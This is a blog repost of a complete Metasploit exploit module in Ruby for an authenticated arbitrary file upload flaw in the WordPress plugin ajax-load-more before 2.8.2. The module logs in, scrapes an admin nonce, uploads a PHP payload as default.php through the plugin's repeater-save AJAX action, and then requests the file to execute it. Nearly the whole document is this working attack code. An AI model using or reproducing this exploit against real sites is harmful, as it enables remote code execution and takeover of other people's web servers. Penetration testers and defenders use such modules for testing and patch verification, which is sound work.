Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86380112

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

##
# This module requires Metasploit: http://www.metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::FileDropper
  include Msf::HTTP::Wordpress
  
  def initialize(info = {})
    super(update_info(
      info,
      'Name'            => 'WordPress Plugin ajax-load-more Authenticated Arbitrary File Upload',
      'Description'     => %q{
          This module exploits an authenticated file upload vulnerability in Wordpress plugin
ajax-load-more versions < 2.8.2. Valid wordpress credentials are required for the exploit to work.
          Tested with version v2.7.3. (May work on older versions).
        },
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'Pizza Hat Hacker <PizzaHatHacker[A]gmail[.]com', # Vulnerability discovery & Metasploit module
        ],
      'References'      =>
        [
          ['WPVDB', '8209']
        ],
      'DisclosureDate'  => 'Oct 02 2015',
      'Platform'        => 'php',
      'Arch'            => ARCH_PHP,
      'Targets'         => [['ajax-load-more', {}]],
      'DefaultTarget'   => 0
    ))
	
	register_options(
    [
         OptString.new('WP_USER', [true, 'A valid wordpress username', nil]),
         OptString.new('WP_PASSWORD', [true, 'Valid password for the provided username', nil])
    ], self.class)
  end
  
  def user
    datastore['WP_USER']
  end
  
  def password
    datastore['WP_PASSWORD']
  end
  
  def check
    # Check plugin version
	ver = check_plugin_version_from_readme('ajax-load-more, 2.8.2')
	if ver
	  return Exploit::CheckCode::Appears
	end
	return Exploit::CheckCode::Safe
  end
  
  def exploit
    # Wordpress login
    print_status("#{peer} - Trying to login as #{user}")
    cookie = wordpress_login(user, password)
    if cookie.nil?
      print_error("#{peer} - Unable to login as #{user}")
      return
    end
    
    url = normalize_uri(wordpress_url_backend, 'profile.php')
    print_status("#{peer} - Retrieving WP nonce from #{url}")
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => url,
      'cookie'   => cookie
    })
    
    if res and res.code == 200
      # "alm_admin_nonce":"e58b6d536d"
      res.body =~ /\"alm_admin_nonce\":\"([0-9a-f]+)\"/
      wp_nonce = $1
      if wp_nonce
        print_good("#{peer} Found ajax-load-more wp_nonce value : #{wp_nonce}")
      else
        vprint_error("#{peer} #{res.body}")
        fail_with(Failure::Unknown, "#{peer} - Unable to retrieve wp_nonce from user profile page.")
      end
    else
      fail_with(Failure::Unknown, "#{peer} - Unexpected server response (code #{res.code}) while accessing user profile page.")
    end

    print_status("#{peer} - Trying to upload payload")
    
    # Generate MIME message
    data = Rex::MIME::Message.new
    data.add_part('alm_save_repeater', nil, nil, 'form-data; name="action"')
    data.add_part(wp_nonce, nil, nil, 'form-data; name="nonce"')
    data.add_part('default', nil, nil, 'form-data; name="type"')
    data.add_part("#{rand_text_alpha_lower(3)}", nil, nil, 'form-data; name="repeater"')
    data.add_part(payload.encoded, nil, nil, 'form-data; name="value"')

    print_status("#{peer} - Uploading payload")
    res = send_request_cgi({
      'method'   => 'POST',
      'uri'      => normalize_uri(wordpress_url_admin_ajax),
      'ctype'    => "multipart/form-data; boundary=#{data.bound}",
      'data'     => data.to_s,
      'cookie'   => cookie
    })
    
    filename = 'default.php'
    if res
      if res.code == 200
        lines = res.body.split("\n")
        if lines.length > 0
          message = lines[lines.length - 1]
          if message.include?('Template Saved Successfully')
            register_files_for_cleanup(filename)
          else
            vprint_error("#{peer} - Unexpected web page content : #{message}")
          end
        else
          fail_with(Failure::Unknown, "#{peer} - Unexpected empty server response")
        end
      else
        fail_with(Failure::Unknown, "#{peer} - Unexpected HTTP response code : #{res.code}")
      end
    else
      fail_with(Failure::Unknown, 'Server did not respond in an expected way')
    end
    
    print_status("#{peer} - Calling uploaded file #{filename}")
    send_request_cgi(
      'uri'    => normalize_uri(wordpress_url_plugins, 'ajax-load-more', 'core', 'repeater', filename)
    )
  end
end